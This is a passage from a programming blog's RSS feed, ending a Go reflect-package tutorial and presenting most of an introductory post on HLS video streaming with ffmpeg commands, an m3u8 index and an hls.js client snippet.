printed&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;modifying-a-field-with-the-set-method&#34;&gt;Modifying a field with the Set method&lt;/h4&gt;&#xA;&lt;p&gt;The specialized methods to &amp;ldquo;set&amp;rdquo; a data are very useful, but sometimes we need a more generic method that allows us to modify the values dynamically, and for that reflect provides us with &lt;em&gt;Set&lt;/em&gt;, yes &lt;em&gt;Set&lt;/em&gt; just like that, without anything else.&lt;/p&gt;&#xA;&lt;p&gt;In this example, first we create a string, to later obtain its value, with &lt;em&gt;ValueOf&lt;/em&gt;, and then pass this new value to the generic method &lt;em&gt;Set&lt;/em&gt;, which receives a &lt;em&gt;Value&lt;/em&gt; object. And where do we get &lt;em&gt;Value&lt;/em&gt; from? Well, from passing any data to &lt;em&gt;ValueOf&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;someString &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Oaxaca&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;newValue &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;ValueOf&lt;/span&gt;(someString)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;valueofCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;Elem&lt;/span&gt;().&lt;span style=&#34;color:#57c7ff&#34;&gt;Field&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;).&lt;span style=&#34;color:#57c7ff&#34;&gt;Set&lt;/span&gt;(newValue)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// {Oaxaca 1100}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;creating-an-object-with-reflect&#34;&gt;Creating an object with reflect&lt;/h2&gt;&#xA;&lt;p&gt;Reflect also allows us to create objects dynamically from a &lt;em&gt;Type&lt;/em&gt;. To do this, just pass as argument the type of object, &lt;em&gt;Type&lt;/em&gt;, that we want to create, to the &lt;em&gt;New&lt;/em&gt; method, which, as you know, can be easily obtained from &lt;em&gt;TypeOf&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(coffeeInstance)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;newInstance &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;New&lt;/span&gt;(typeOfCoffee)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(newInstance)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// &amp;amp;{ 0}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;From the type we obtained with &lt;em&gt;TypeOf&lt;/em&gt; reflect will create a new object. However, in this case, being a struct to which we have not specified the values of its fields, it will be initialized with its &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;zero values&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;And that&amp;rsquo;s it for the little introduction to reflect, now you know enough to get confused and cry while working with anything that needs reflection. Great isn&amp;rsquo;t it?&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The &amp;ldquo;reflect&amp;rdquo; package is a useful library in the Go programming language that provides functions for working with reflection.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;what-is-reflection-in-programming&#34;&gt;What is reflection in programming?&lt;/h2&gt;&#xA;&lt;p&gt;Reflection is the ability of a program to inspect its own structure at runtime. This includes the ability to examine: types, values and metadata of objects in memory. Reflection allows us to have more flexible and generic code and allows us to create functions and data structures that can work with any type of object, regardless of its type. It is also the basis for metaprogramming.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Stream your videos and audios: HLS for your applications</title>
      <link>https://coffeebytes.dev/en/linux/stream-your-videos-and-audios-a-simple-introduction-to-streaming-with-hls-for-your-applications/</link>
      <pubDate>Thu, 02 Mar 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/stream-your-videos-and-audios-a-simple-introduction-to-streaming-with-hls-for-your-applications/</guid>
      
      <category>linux</category>
      
      <category>software architecture</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Almost all modern web applications perform some form of streaming, from video platforms to live streaming. In this post I explain how streaming works with HLS in such a simplified way that it will bring out your inner purist.&lt;/p&gt;&#xA;&lt;p&gt;I leave you a minimal example of streaming in Go here in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/EduardoZepeda/go-hls-streaming-example&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;my github repository&lt;/a&gt;&#xA;, in case you want to see the code.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;introduction-to-streaming&#34;&gt;Introduction to streaming&lt;/h2&gt;&#xA;&lt;p&gt;Videos and audios contain a lot of encoded information, so their handling and downloading strongly impacts the bandwidth and usage of any server.&lt;/p&gt;&#xA;&lt;p&gt;Streaming is a process that allows us to continuously send small amounts of information, in the case of audio or video, which can be stored or generated by a webcam or microphone in real time.&lt;/p&gt;&#xA;&lt;h3 id=&#34;whats-wrong-with-the-http-protocol-for-playing-videos-and-audios&#34;&gt;What&amp;rsquo;s wrong with the HTTP protocol for playing videos and audios?&lt;/h3&gt;&#xA;&lt;p&gt;Normal users don&amp;rsquo;t watch the complete audiovisual materials, yes, even you skip the paid advertising of your favorite influencers and sometimes you only watch 10 seconds of the video of some internet tutorials. If we were to use the HTTP protocol, the normal user would download a huge file, only to see a fraction of it. And he would have to wait for the download to complete before he could start playing it.&lt;/p&gt;&#xA;&lt;p&gt;As you probably already know, sending the full video to all users would be pointless and consume huge amounts of bandwidth and I bet you don&amp;rsquo;t want to make your cloud providers richer.&lt;/p&gt;&#xA;&lt;p&gt;The solution? Streaming; an on-demand model, where each user receives only what they consume of the audio visual material, a little at a time, and if the user closes the video we do not send them the rest.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;streaming-protocols&#34;&gt;Streaming protocols&lt;/h2&gt;&#xA;&lt;p&gt;Before you start, you should know that there are quite a few streaming protocols, each with its own particularities that you can delve into on your own:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;RTSP&lt;/li&gt;&#xA;&lt;li&gt;RTP&lt;/li&gt;&#xA;&lt;li&gt;RTCP&lt;/li&gt;&#xA;&lt;li&gt;HLS&lt;/li&gt;&#xA;&lt;li&gt;MPEG-DASH&lt;/li&gt;&#xA;&lt;li&gt;HDS&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I will explain HLS, why? Because HLS uses the HTTP protocol, so it does not require specialized servers, and it is compatible with any device that connects to the Internet. Finally, we add that lately it is a popular protocol for video streaming.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;the-hls-protocol&#34;&gt;The HLS protocol&lt;/h2&gt;&#xA;&lt;p&gt;The HLS protocol is a protocol based on HTTP, developed by Apple (yes, the same Apple), so any device that can connect to the Internet will be compatible with this protocol. HLS uses TCP underneath to send the information, avoiding the potential packet loss of its counterpart, UDP. And, as icing on the cake, HLS reacts to changes in internet speed and prioritizes the sending of lighter versions of our files (with lower quality, of course). The player in conjunction with the HLS library takes care of this automatically and you don&amp;rsquo;t have to worry about the details.&lt;/p&gt;&#xA;&lt;h2 id=&#34;preparation-of-the-files-for-hls-on-the-server&#34;&gt;Preparation of the files for HLS on the server&lt;/h2&gt;&#xA;&lt;p&gt;Video transmission using HLS is carried out in several steps. First, the video is encoded and divided into segments of fixed duration. Then, these segments are uploaded to an HTTP server and provided to the user&amp;rsquo;s media player via a playback index, a file with extension M3U8, which is a simple text file containing information about the available video segments. The segments can be uploaded to a CDN for higher performance, and some CDNs can even handle the entire process of encoding and segmenting your video.&lt;/p&gt;&#xA;&lt;p&gt;To implement the protocol on the server side we need two steps:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Coding&lt;/li&gt;&#xA;&lt;li&gt;Partitioning&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;coding&#34;&gt;Coding&lt;/h3&gt;&#xA;&lt;p&gt;HLS requires our files to be in a specific encoding, so first we need to encode our media file to H.264 or H.265 (quite popular nowadays), so that any device can read them.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart LR&#xA;    Video--&gt;h.264&#xA;    Video--&gt;h.265&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;If your original file is not in that encoding, you can use tools like &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://ffmpeg.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;ffmpeg&lt;/a&gt;&#xA; to convert it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ffmpeg -i &amp;lt;input&amp;gt; -vcodec libx264 -acodec aac &amp;lt;output.mp4&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;partitioning-and-creating-an-index-for-hls&#34;&gt;Partitioning and creating an index for HLS&lt;/h3&gt;&#xA;&lt;p&gt;Then, the video or audio that we need to place in streaming is divided into several parts, generally with a few seconds of duration and, in order to know in which order each part goes, an index will also be created.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart LR&#xA;    Video--&gt;index.m3u8&#xA;    Video--&gt;index0.ts&#xA;    Video--&gt;index1.ts&#xA;    Video--&gt;index2.ts&#xA;    Video--&gt;indexn.ts&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Partitioning for HLS can also be performed with ffmpeg.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ffmpeg -i &amp;lt;tu-video&amp;gt;.mp4 -profile:v baseline -level 3.0 -start_number &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; -hls_time &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; -hls_list_size &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; -f hls index.m3u8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The index that stores the order of each generated segment is a file with ending &lt;em&gt;m3u8&lt;/em&gt;, whose content looks something like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTM3U&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-VERSION:3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-TARGETDURATION:13&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-MEDIA-SEQUENCE:0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:10.333333,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index0.ts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:9.750000,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index1.ts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:13.458333,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index2.ts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:9.083333,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index3.ts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:9.208333,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index4.ts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:8.333333,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ... RESTO DE FRAGMENTOS ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXTINF:2.416667,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index24.ts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#EXT-X-ENDLIST&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Each segment of the video is numbered in ascending order, each with a &lt;em&gt;ts&lt;/em&gt; extension so that you know where it belongs.&lt;/p&gt;&#xA;&lt;h2 id=&#34;hls-at-the-customer&#34;&gt;HLS at the customer&lt;/h2&gt;&#xA;&lt;p&gt;That was the hardest part, now we just need to pass the index to our client and the client device will do the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download the index,&lt;/li&gt;&#xA;&lt;li&gt;Read the table of contents&lt;/li&gt;&#xA;&lt;li&gt;Obtain the segment you require for the video according to the table of contents.&lt;/li&gt;&#xA;&lt;li&gt;Add it to the playback queue&lt;/li&gt;&#xA;&lt;li&gt;Read the index again to get the next segment and repeat the process.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;All of the above with Javascript, the HLS player library is already developed and takes care of all this automatically.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;sequenceDiagram&#xA;    participant Client&#xA;    participant Server&#xA;    Client-&gt;&gt;Server: GET index.m3u8&#xA;    Server-&gt;&gt;Client: index.m3u8&#xA;    Client-&gt;&gt;Server: GET index0.ts&#xA;    Server-&gt;&gt;Client: index0.ts&#xA;    Client-&gt;&gt;Server: GET index1.ts&#xA;    Server-&gt;&gt;Client: index1.ts&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;h3 id=&#34;example-of-hls-at-the-client&#34;&gt;Example of HLS at the client&lt;/h3&gt;&#xA;&lt;p&gt;Look at this super simple example:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://cdn.jsdelivr.net/npm/hls.js@latest&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Cargamos la librería mediante un CDN o tu propio servidor --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;video&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;controls&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;video&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;video&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Cargamos la etiqueta de video --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And now we proceed to load the index, or in another way, the file&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; video &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;document&lt;/span&gt;.getElementById(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;video&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(Hls.isSupported()) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Si soporta HlS &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; hls &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; Hls();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    hls.loadSource(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://tuservidor.com/ruta/index.m3u8&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// carga el índice&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    hls.attachMedia(video);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span 